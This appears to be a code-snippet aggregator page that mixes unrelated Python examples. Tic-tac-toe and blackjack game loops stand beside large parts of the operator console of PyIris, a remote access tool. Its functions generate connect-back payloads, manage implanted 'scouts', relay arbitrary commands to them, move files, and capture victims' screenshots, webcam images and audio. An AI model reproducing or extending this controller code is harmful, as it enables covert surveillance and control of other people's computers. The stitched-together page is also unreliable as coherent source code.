Exemplo n.º 1
0
def show_instructions():
    '''
    Shows the instructions of how to play the game.
    '''
    try:
        clear()
        print('GAME INSTRUCTIONS')
        print()
        print('Place your marker on the board ' \
            'by giving a number specified in the grid map.')
        print()
        print(' --- --- ---\n' \
            '| 1 | 2 | 3 |\n' \
            ' --- --- ---\n' \
            '| 4 | 5 | 6 |\n' \
            ' --- --- ---\n' \
            '| 7 | 8 | 9 |\n' \
            ' --- --- ---\n'
        )
        input('Press \'Enter\' to continue... ')

    except KeyboardInterrupt:
        print()
        print('See you soon!')
        sys.exit()

    return
Exemplo n.º 2
0
    def intro(self):
        '''
        Print the welcome message to the user.
        '''

        clear()
        print('######################')
        print('#                    #')
        print('#      BLACKJACK     #')
        print('#                    #')
        print('######################')

        return
Exemplo n.º 3
0
def play_again():
    '''
    Ask the user wether or not play the game again.
    '''
    while True:
        try:
            answer = input('Do you want to play again (y/n)? ')
            if answer in ['y', 'Y']:
                clear()
                return True
            elif answer in ['n', 'N']:
                return False
            else:
                raise ValueError
        except ValueError:
            print('Please provide a valid input!')
Exemplo n.º 4
0
    def start_session(self, player_name):
        '''
        This function starts a game Session. A session can contain
        multiple games, started with play_single_game method.
        '''

        self.session = Session(player_name, Deck(index, suites))

        while True:
            clear()
            self.print_header()
            print()
            try:
                command = input(
                    'What do you want to do: (D)eal cards, (B)et or (Q)uit? ')
                if command == 'Q' or command == 'q':
                    clear()
                    break
                if command == 'D' or command == 'd':
                    self.play_single_game()
            except KeyboardInterrupt:
                sys.exit()
            except:
                print('Something went wrong.')
Exemplo n.º 5
0
def cleanup():
    try:
        try:
            confirmation = raw_input('\n' + cfg.user_in +
                                     'Are you sure you want to quit [y/n] : ')
        except EOFError:
            try:
                time.sleep(1)
            except KeyboardInterrupt:
                clear_screen.clear()
                show_banner.banner()
                return
        except KeyboardInterrupt:
            clear_screen.clear()
            return
        if confirmation == 'y':
            print cfg.shutdown
            if cfg.db_listeners:
                print cfg.note + 'Killing all active listeners...'
                cfg.db_listeners = []
                time.sleep(5)
            if cfg.db_scouts:
                try:
                    print cfg.note + 'Disconnecting all scouts...'
                    for i in cfg.db_scouts:
                        try:
                            i[5].sendall('sleep 60' + cfg.End)
                        except:
                            pass
                except IndexError:
                    print cfg.err + 'Error disconnecting scouts'
            print cfg.note + 'Exiting program...'
            os._exit(1)
        else:
            clear_screen.clear()
            show_banner.banner()
    except EOFError:
        try:
            time.sleep(1)
        except KeyboardInterrupt:
            print '\n' + cfg.err + 'Skipping cleanup steps...'
            print cfg.note + 'Exiting program...'
            os._exit(1)
    except KeyboardInterrupt:
        print '\n' + cfg.err + 'Skipping cleanup steps...'
        print cfg.note + 'Exiting program...'
        os._exit(1)
Exemplo n.º 6
0
def generator_handler_console():
    set_for = ''
    scout_default_values = {
        'Hostname': ['127.0.0.1', 'Host address to connect back to'],
        'Port': [9999, 'Host port to connect back on'],
        'Key': [
            cfg.listener_key,
            'Listener key to be sent to listener in order to gain access'
        ],
        'SleepTime':
        ['5', 'Duration for scout to sleep if it cannot connect to listener']
    }
    while True:
        try:
            if not set_for:
                command_input = raw_input(cfg.prompt_generator).strip()
            else:
                command_input = raw_input(
                    '\x1b[1m\x1b[37mPyIris (\x1b[0m' +
                    '\x1b[1m\x1b[32mGenerator\x1b[0m \x1b[1m\x1b[37m:\x1b[0m \x1b[1m\x1b[32m'
                    + set_for + '\x1b[0m\x1b[1m\x1b[37m) > \x1b[0m').strip()
            option = command_input.split(' ')[0]
            if option == 'banner':
                show_banner.banner()
            elif option == 'clear':
                clear_screen.clear()
            elif option == 'help':
                print cfg.generator_help_menu
            elif option == 'local':
                try:
                    execute_local_command.execute(
                        command_input.split(' ', 1)[1])
                except IndexError:
                    print cfg.err + 'Specify a local system command to execute'
            elif option == 'python':
                try:
                    print cfg.note + 'Switching to python interpreter, exit() to exit\n'
                    os.system('python')
                except KeyboardInterrupt:
                    pass
            elif option == 'quit':
                cleanup_and_exit.cleanup()
            elif option == 'back':
                print cfg.pos + 'Returning...'
                return
            elif option == 'configs':
                if not set_for:
                    print cfg.err + 'No payload has been chosen yet, run the "use" command'
                else:
                    print cfg.note + 'Setting for : ' + set_for
                config = [['    Option', 'Value', 'Information'],
                          ['    ======', '=====', '===========']]
                for o, v in scout_default_values.items():
                    config.append(['    ' + o, str(v[0]), v[1]])
                print '\n'
                l = [len(max(i, key=len)) for i in zip(*config)]
                print('\n'.join('     '.join(item[i].ljust(l[i])
                                             for i in range(len(l)))
                                for item in config)) + '\n'
            elif option == 'set':
                try:
                    scout_default_values[command_input.split(
                        ' ')[1]][0] = command_input.split(' ', 2)[2]
                    print cfg.pos + 'Set ' + command_input.split(
                        ' ')[1] + ' to ' + command_input.split(' ', 2)[2]
                except (IndexError, KeyError):
                    print cfg.err + 'Invalid syntax, specify valid option and value'
            elif option == 'show':
                for i in cfg.payload_templates_list:
                    print i
            elif option == 'reset':
                scout_default_values = {
                    'Hostname':
                    ['127.0.0.1', 'Host address to connect back to'],
                    'Port': [9999, 'Host port to connect back on'],
                    'Key': [
                        cfg.listener_key,
                        'Listener key to be sent to listener in order to gain access'
                    ],
                    'SleepTime': [
                        '5',
                        'Duration for scout to sleep if it cannot connect to listener'
                    ]
                }
                print cfg.pos + 'Reset all values'
            elif option == 'use':
                try:
                    payload_type = command_input.split(' ')[1]
                    if payload_type in cfg.payload_templates_list:
                        set_for = payload_type
                        print cfg.pos + 'Set payload to : ' + set_for
                    else:
                        raise IndexError
                except IndexError:
                    print cfg.err + 'Invalid payload, run "show" to see all payloads'
            elif option == 'generate':
                folder = None
                try:
                    folder = command_input.split(' ', 1)[1]
                except IndexError:
                    pass
                if not set_for:
                    print cfg.err + 'Cannot generate, no payload set, run "use"'
                    continue
                generate_payload_with_template.generate_payload(
                    set_for, scout_default_values, folder)
            elif option == '':
                pass
            else:
                print cfg.err + 'Unknown command "' + command_input + '", run "help" for help menu'
        except EOFError:
            time.sleep(2)
        except Exception as e:
            print cfg.err + 'Error : ' + str(e)
Exemplo n.º 7
0
def scout_console():
    while True:
        try:
            command_input = raw_input(cfg.prompt_scouts).strip()
            option = command_input.split(' ', 1)[0]
            if option == 'banner':
                show_banner.banner()
            elif option == 'clear':
                clear_screen.clear()
            elif option == 'help':
                print cfg.scout_help_menu
            elif option == 'local':
                try:
                    execute_local_command.execute(
                        command_input.split(' ', 1)[1])
                except IndexError:
                    print cfg.err + 'Specify a local system command to execute'
            elif option == 'python':
                try:
                    print cfg.note + 'Switching to python interpreter, exit() to exit\n'
                    os.system('python')
                except KeyboardInterrupt:
                    pass
            elif option == 'quit':
                cleanup_and_exit.cleanup()
            elif option == 'back':
                print cfg.pos + 'Returning...'
                return
            elif option == 'bridge':
                found_target = False
                try:
                    tar_id = command_input.split(' ', 1)[1]
                except IndexError:
                    print cfg.err + 'Provide a scout ID'
                    continue
                for i in range(len(cfg.db_scouts)):
                    if str(cfg.db_scouts[i][0]) == tar_id:
                        found_target = True
                        tar_id = i
                        break
                if found_target:
                    generic_handler.payload_handler(tar_id)
                else:
                    print cfg.err + 'Invalid scout ID'
            elif option == 'kill':
                try:
                    killed_scout = False
                    if command_input.split(' ', 1)[1] == 'all':
                        if cfg.db_scouts:
                            for i in cfg.db_scouts:
                                i[5].sendall('terminate' + cfg.End)
                            cfg.db_scouts = []
                            print cfg.pos + 'Terminated all scouts'
                        else:
                            print cfg.err + 'No connected scouts'
                        continue
                    for i in cfg.db_scouts:
                        if str(i[0]) == command_input.split(' ', 1)[1]:
                            i[5].sendall('terminate' + cfg.End)
                            cfg.db_scouts.pop(cfg.db_scouts.index(i))
                            print cfg.pos + 'Terminated scout : ' + str(i[0])
                            killed_scout = True
                            break
                    if not killed_scout:
                        print cfg.err + 'Could not kill scout of ID : ' + command_input.split(
                            ' ', 1)[1]
                except IndexError:
                    print cfg.err + 'Invalid ID'
                except (socket.error, socket.timeout):
                    print cfg.err + 'Scout seems to be dead, removing from database'
                    for i in cfg.db_scouts:
                        if str(i[0]) == command_input.split(' ', 1)[1]:
                            cfg.db_scouts.pop(cfg.db_scouts.index(i))
                            break
            elif option == 'ping':
                try:
                    found_target = False
                    try:
                        if command_input.split(' ', 1)[1] == 'all':
                            if cfg.db_scouts:
                                for i in range(len(cfg.db_scouts)):
                                    try:
                                        cfg.db_scouts[i][5].sendall('ping' +
                                                                    cfg.End)
                                        cfg.db_scouts[i][5].settimeout(6)
                                        print cfg.note + 'Scout : ' + str(
                                            cfg.db_scouts[i][0]
                                        ) + '\n' + cfg.db_scouts[i][5].recv(
                                            99999)[:-len(cfg.End)].replace(
                                                '[+]', cfg.pos, 1) + '\n'
                                        cfg.db_scouts[i][5].settimeout(None)
                                    except (socket.timeout, socket.error):
                                        print cfg.note + 'Scout : ' + str(
                                            cfg.db_scouts[i][0]
                                        ) + '\n' + cfg.err + 'Scout is dead, no reply reveived\n'
                                continue
                        for i in range(len(cfg.db_scouts)):
                            if str(cfg.db_scouts[i][0]) == command_input.split(
                                    ' ', 1)[1]:
                                found_target = True
                                tar_id = i
                                break
                        if found_target:
                            cfg.db_scouts[tar_id][5].sendall('ping' + cfg.End)
                            cfg.db_scouts[tar_id][5].settimeout(6)
                            print cfg.db_scouts[tar_id][5].recv(
                                99999)[:-len(cfg.End)].replace(
                                    '[+]', cfg.pos, 1)
                            cfg.db_scouts[tar_id][5].settimeout(None)
                        else:
                            print cfg.err + 'Invalid Scout ID'
                    except IndexError:
                        print cfg.err + 'Invalid Scout ID'
                        continue
                except (socket.error, socket.timeout):
                    print cfg.err + 'Scout is dead, no reply received'
            elif option == 'show':
                print '\n' + cfg.note + 'Currently active scouts :\n'
                if cfg.db_scouts:
                    scout_data = [[
                        'ID', 'IP address', 'Identifying Name', 'Type',
                        'Operating System'
                    ],
                                  [
                                      '==', '==========', '================',
                                      '====', '================'
                                  ]]
                    for i in cfg.db_scouts:
                        scout_data.append([
                            str(i[0]),
                            str(i[1]),
                            str(i[2]),
                            str(i[3]),
                            str(i[4])
                        ])
                    l = [len(max(i, key=len)) for i in zip(*scout_data)]
                    print('\n'.join('     '.join(item[i].ljust(l[i])
                                                 for i in range(len(l)))
                                    for item in scout_data))
                    print '\n'
            elif option == 'sleep':
                try:
                    slept_scout = False
                    who_to_sleep = command_input.split(' ')[1]
                    how_long_to_sleep = command_input.split(' ')[2]
                    try:
                        int(how_long_to_sleep)
                    except:
                        print cfg.err + 'Invalid sleep value'
                        continue
                except IndexError:
                    print cfg.err + 'Invalid command syntax/command arguments'
                    continue
                if who_to_sleep == 'all':
                    if cfg.db_scouts:
                        for i in cfg.db_scouts:
                            try:
                                i[5].sendall('sleep ' + how_long_to_sleep +
                                             cfg.End)
                            except (socket.error, socket.timeout):
                                print cfg.err + 'Scout : ' + str(
                                    i[0]
                                ) + ' appears to be dead, removing from database'
                                cfg.db_scouts.pop(cfg.db_scouts.index(i))
                        cfg.db_scouts = []
                        print cfg.pos + 'Slept all scouts'
                    else:
                        print cfg.err + 'No connected scouts'
                else:
                    if cfg.db_scouts:
                        for i in cfg.db_scouts:
                            if str(i[0]) == who_to_sleep:
                                try:
                                    i[5].sendall('sleep ' + how_long_to_sleep +
                                                 cfg.End)
                                    cfg.db_scouts.pop(cfg.db_scouts.index(i))
                                    print cfg.pos + 'Slept scout of ID : ' + who_to_sleep
                                    slept_scout = True
                                    break
                                except (socket.error, socket.timeout):
                                    slept_scout = True
                                    print cfg.err + 'Scout : ' + str(
                                        i[0]
                                    ) + ' appears to be dead, removing from database'
                                    cfg.db_scouts.pop(cfg.db_scouts.index(i))
                        if not slept_scout:
                            print cfg.err + 'Invalid scout ID'
                    else:
                        print cfg.err + 'No connected scouts'
            elif option == '':
                pass
            else:
                print cfg.err + 'Unknown command "' + command_input + '", run "help" for help menu'
        except EOFError:
            time.sleep(2)
        except Exception as e:
            print cfg.err + 'Error : ' + str(e)
Exemplo n.º 8
0
def main_handler_console():
    try:
        splash_screen.display_splash_screen()
        clear_screen.clear()
        show_banner.banner()
    except EOFError:
        try:
            time.sleep(2)
        except KeyboardInterrupt:
            cleanup_and_exit.cleanup()
    except KeyboardInterrupt:
        cleanup_and_exit.cleanup()
    while True:
        try:
            cfg.blacklisted_ip = list(set(cfg.blacklisted_ip))
            cfg.whitelisted_ip = list(set(cfg.whitelisted_ip))
            command_input = raw_input(cfg.prompt_default).strip()
            option = command_input.split(' ',1)[0]
            if option == 'banner':
                show_banner.banner()
            elif option == 'clear':
                clear_screen.clear()
            elif option == 'help':
                print cfg.main_help_menu
            elif option == 'local':
                try:
                    execute_local_command.execute(command_input.split(' ',1)[1])
                except IndexError:
                    print cfg.err + 'Specify a local system command to execute'
            elif option == 'python':
                try:
                    print cfg.note + 'Switching to python interpreter, exit() to exit\n'
                    os.system('python')
                except KeyboardInterrupt:
                    pass
            elif option == 'quit':
                cleanup_and_exit.cleanup()
            elif option in ('add','rm'):
                set_globals.set_global_variables(command_input)
            elif option == 'change':
                change_session_values.change_values(command_input)
            elif option == 'fake':
                try:
                    new_fake_reply = command_input.split(' ',1)[1]
                except IndexError:
                    print cfg.err + 'Provide a fake reply'
                cfg.fake_reply = new_fake_reply
                print cfg.pos + 'Changed server fake reply'
            elif option == 'listeners':
                print cfg.pos + 'Switching...'
                listener_handler.listener_handler_console()
            elif option == 'scouts':
                print cfg.pos + 'Switching...'
                scout_handler.scout_console()
            elif option == 'generator':
                print cfg.pos + 'Switching...'
                generator_handler.generator_handler_console()
            elif option == 'show':
                print '\n' + cfg.note + 'Whitelisted IPs : ' + ', '.join(cfg.whitelisted_ip)
                print '\n' + cfg.note + 'Blacklisted IPs : ' + ', '.join(cfg.blacklisted_ip)
                print '\n' + cfg.note + 'Current default listener key : ' + cfg.listener_key
                print '\n' + cfg.note + 'Current default scout key : ' + cfg.scout_key
                print '\n' + cfg.note + 'Current listener fake reply : ' + cfg.fake_reply + '\n'
            elif option == 'reset':
                try:
                    option = command_input.split(' ')[1]
                    if option == 'wlist':
                        cfg.whitelisted_ip = []
                        print cfg.pos + 'reset value'
                    elif option == 'blist':
                        cfg.blacklisted_ip = []
                        print cfg.pos + 'reset value'
                    elif option == 'key':
                        cfg.listener_key = cfg.untouched_server_key
                        print cfg.pos + 'reset value'
                    elif option == 'sid':
                        cfg.scout_key = cfg.untouched_scout_identifier
                        print cfg.pos + 'reset value'
                    elif option == 'fake_reply':
                        cfg.fake_reply = 'Socket Server Running'
                        print cfg.pos + 'reset value'
                    elif option == 'all':
                        cfg.whitelisted_ip,cfg.blacklisted_ip = [],[]
                        cfg.listener_key,cfg.scout_key = cfg.untouched_server_key,cfg.untouched_scout_identifier
                        cfg.fake_reply = 'Socket Server Running'
                        print cfg.pos + 'reset all'
                    else:
                        raise IndexError
                except IndexError:
                    print cfg.err + 'Invalid command syntax/command arguments'
            elif option == '':
                pass
            else:
                print cfg.err + 'Unknown command "' + command_input + '", run "help" for help menu'
        except EOFError:
            try:
                time.sleep(2)
            except KeyboardInterrupt:
                cleanup_and_exit.cleanup()
        except KeyboardInterrupt:
            cleanup_and_exit.cleanup()
Exemplo n.º 9
0
def play_game(starter, num_players):
    '''
    Starts the game.
    '''

    game = Game(starter)

    if num_players == 1:
        game.ai = True

    while True:
        clear()
        game.print_board()
        print()

        # Computer's turn in one-player game
        if game.ai and game.turn == 2:
            print('it\'s computer\'s turn!')
            sleep(0.5)
            print('Thinking...')
            sleep(0.8)
            print('This is a brilliant move!')
            sleep(1)
            while True:
                if game.place_marker(randint(1, 9)) == 0:
                    if game.has_winner():
                        clear()
                        game.winner(ai=True)
                        return
                    if game.open_grids_available():
                        game.change_turn()
                    else:
                        clear()
                        game.tie()
                        return
                    break

        # Two player game and human's turn in one-player game
        else:
            print(f'It\'s player {game.turn}\'s turn!')
            print('Press "i + enter" to show game instructions')
            print()
            try:
                grid = input('Place your marker (grid number 1 - 9): ')
                if grid == 'i' or grid == 'I':
                    show_instructions()
                    continue
                grid = int(grid)
                if (grid > 0) and (grid < 10):
                    if game.place_marker(grid) == 0:
                        if game.has_winner():
                            clear()
                            game.winner()
                            return
                        if game.open_grids_available():
                            game.change_turn()
                        else:
                            clear()
                            game.tie()
                            return
                    else:
                        print('That grid is already taken!')
                        sleep(0.5)
                else:
                    raise ValueError
            except ValueError:
                print('Please provide a valid input!')
                sleep(0.5)
            except KeyboardInterrupt:
                print()
                print('See you soon!')
                sys.exit()
Exemplo n.º 10
0
import sys

from modules.ui import intro, how_many_players, play_game, \
    who_starts, show_instructions, play_again
from modules.clear_screen import clear


def launch_game():
    while True:
        intro()
        num_players = how_many_players()
        starter = who_starts(num_players)
        show_instructions()
        play_game(starter, num_players)
        if not play_again():
            break
    return


if __name__ == '__main__':
    clear()
    launch_game()
    clear()
    print('See you soon!')
    print()
    sys.exit()
Exemplo n.º 11
0
    def play_single_game(self):
        '''
        Play a single game of blackjack. This function should be run
        only after a Session has been already created.
        '''
        self.session.start_next_game()

        while True:
            clear()
            self.print_header()
            print()
            self.print_hands(self.session.player)
            print('\n')
            self.print_hands(self.session.dealer)
            print()
            if self.session.player_busted():
                self.session.game_winner(2)
                print('YOU\'RE BUSTED! DEALER WINS!')
                print()
                sleep(2)
                while True:
                    play_again = input('Play again (y/n)? ')
                    if play_again == 'Y' or play_again == 'y':
                        break
                    elif play_again == 'N' or play_again == 'n':
                        clear()
                        raise KeyboardInterrupt
                break
            print('What do you want to do? ')
            command = input('(H)it, (S)tay? or (Q)uit game? ')
            if command == 'H' or command == 'h':
                self.session.player.add_card(self.session.deck.deal_card())
            elif command == 'S' or command == 's':
                if self.session.player.get_hand_value(
                ) <= self.session.dealer.get_hand_value():
                    print()
                    print('\tDEALER WINS!')
                    print()
                    sleep(2)
                    break
                else:
                    while True:
                        clear()
                        self.print_header()
                        print()
                        self.print_hands(self.session.player)
                        print('\n')
                        self.print_hands(self.session.dealer)
                        print()

                        if self.session.dealer.get_hand_value(
                        ) >= self.session.player.get_hand_value():
                            if self.session.dealer_busted():
                                self.session.game_winner(1)
                                print()
                                print(
                                    f'DEALER BUSTED! {self.session.player.name} WINS!'
                                )
                                print()
                                sleep(2)
                                break
                            else:
                                self.session.game_winner(2)
                                print()
                                print('DEALER WINS!')
                                print()
                                sleep(2)
                                break

                        print('Dealer picking card...')
                        self.session.dealer.add_card(
                            self.session.deck.deal_card())
                        sleep(2)
                        print()
                    while True:
                        play_again = input('Play again (y/n)? ')
                        if play_again == 'Y' or play_again == 'y':
                            break
                        elif play_again == 'N' or play_again == 'n':
                            clear()
                            raise KeyboardInterrupt
                        break
                    break
            elif command == 'Q' or command == 'q':
                clear()
                raise KeyboardInterrupt
            else:
                clear()
Exemplo n.º 12
0
def payload_handler(id):
    print cfg.pos + 'Bridged to scout of ID : ' + str(cfg.db_scouts[id][0])
    prompt_handler = '\x1b[1m\x1b[37mPyIris (\x1b[0m\x1b[1m\x1b[31m' + cfg.db_scouts[id][3] + '\x1b[0m\x1b[1m\x1b[37m@\x1b[0m\x1b[1m\x1b[31m' + cfg.db_scouts[id][1] + '\x1b[0m\x1b[1m\x1b[37m) > \x1b[0m'
    sock = cfg.db_scouts[id][5]
    while True:
        try:
            command_input = raw_input(prompt_handler).strip()
            option = command_input.split(' ',1)[0]
            if option == 'banner':
                show_banner.banner()
            elif option == 'clear':
                clear_screen.clear()
            elif option == 'local':
                try:
                    execute_local_command.execute(command_input.split(' ',1)[1])
                except IndexError:
                    print cfg.err + 'Specify a local system command to execute'
            elif option == 'python':
                try:
                    print cfg.note + 'Switching to python interpreter, exit() to exit\n'
                    os.system('python')
                except KeyboardInterrupt:
                    pass
            elif option == 'quit':
                cleanup_and_exit.cleanup()
            elif option == 'back':
                print cfg.pos + 'Returning...'
                return
            elif option == 'disconnect':
                sock.sendall(command_input + cfg.End)
                output = recv_all.recvall(sock)
                print output
                cfg.db_scouts.pop(id)
                break
            elif option == 'terminate':
                sock.sendall(command_input + cfg.End)
                output = recv_all.recvall(sock)
                print output
                cfg.db_scouts.pop(id)
                break
            elif option == 'sleep':
                sock.sendall(command_input + cfg.End)
                output = recv_all.recvall(sock)
                print output
                if '[*]' in output:
                    cfg.db_scouts.pop(id)
                    break
            elif option == 'download':
                sock.sendall(command_input + cfg.End)
                output = recv_all.recvall(sock)
                if '|/' in output:
                    output = output.rstrip(cfg.End).split('|/', 1)
                    f = open(find_basename.basename(output[0]), 'wb')
                    f.write(output[1])
                    f.close()
                    print cfg.pos + 'Downloaded file succesfully'
                else:
                    print output
            elif option in ('upload','transport_kill','transport'):
                try:
                    file_name = command_input.split(' ', 1)[1]
                except:
                    print cfg.err + 'Specify file to upload'
                    continue
                if os.path.isfile(file_name):
                    f = open(file_name, 'rb')
                    data = f.read()
                    f.close()
                    sock.sendall(command_input.split(' ',1)[0]+' '+file_name + '|/' + data + cfg.End)
                    output = recv_all.recvall(sock)
                    print output
                else:
                    print cfg.err + 'File path/name is not valid'
            elif option == 'valids':
                sock.sendall(command_input + cfg.End)
                output = recv_all.recvall(sock)
                if '|/' in output:
                    load_output = output.split('|/')
                    for i in load_output:
                        print cfg.note + i
            elif option == 'active':
                sock.sendall(command_input + cfg.End)
                output = recv_all.recvall(sock)
                if '|/' in output:
                    output = output.split('|/')
                    for i in output:
                        if not i:
                            continue
                        print cfg.pos + i
                else:
                    print output
            elif option == 'drives':
                sock.sendall(command_input + cfg.End)
                output = recv_all.recvall(sock)
                if '|/' in output:
                    output = output.split('|/')
                    for i in output:
                        print cfg.pos + i
                else:
                    print output
            elif option == 'screen':
                sock.sendall(command_input + cfg.End)
                output = recv_all.recvall(sock)
                if '|/' in output:
                    output = output.split('|/', 1)
                    f = open(find_basename.basename(output[0]), 'wb')
                    f.write(output[1])
                    f.close()
                    print cfg.pos + 'Downloaded scouts screenshot as : ' + find_basename.basename(output[0])
                else:
                    print output
            elif option == 'webcam':
                sock.sendall(command_input + cfg.End)
                output = recv_all.recvall(sock)
                if '|/' in output:
                    output = output.split('|/', 1)
                    f = open(find_basename.basename(output[0]), 'wb')
                    f.write(output[1])
                    f.close()
                    print cfg.pos + 'Downloaded scouts webcam snapshot as : ' + find_basename.basename(output[0])
                else:
                    print output
            elif option == 'rec_audio':
                sock.sendall(command_input + cfg.End)
                print cfg.pos + 'Recording, please be patient '
                output = recv_all.recvall(sock)
                if '|/' in output:
                    output = output.split('|/', 1)
                    f = open(find_basename.basename(output[0]), 'wb')
                    f.write(output[1])
                    f.close()
                    print cfg.pos + 'Downloaded scouts audio recording as : ' + find_basename.basename(output[0])
                else:
                    print output
            elif option == '':
                pass
            else:
                sock.sendall(command_input + cfg.End)
                output = recv_all.recvall(sock)
                print output
        except socket.error as e:
            print cfg.err + 'Socket error detected : ' + str(e)
            print cfg.err + 'Stopping current session...'
            cfg.db_scouts.pop(id)
            print cfg.note + 'Returning...'
            return
        except EOFError:
            time.sleep(2)
        except Exception as e:
            print cfg.err + 'Error : ' + str(e)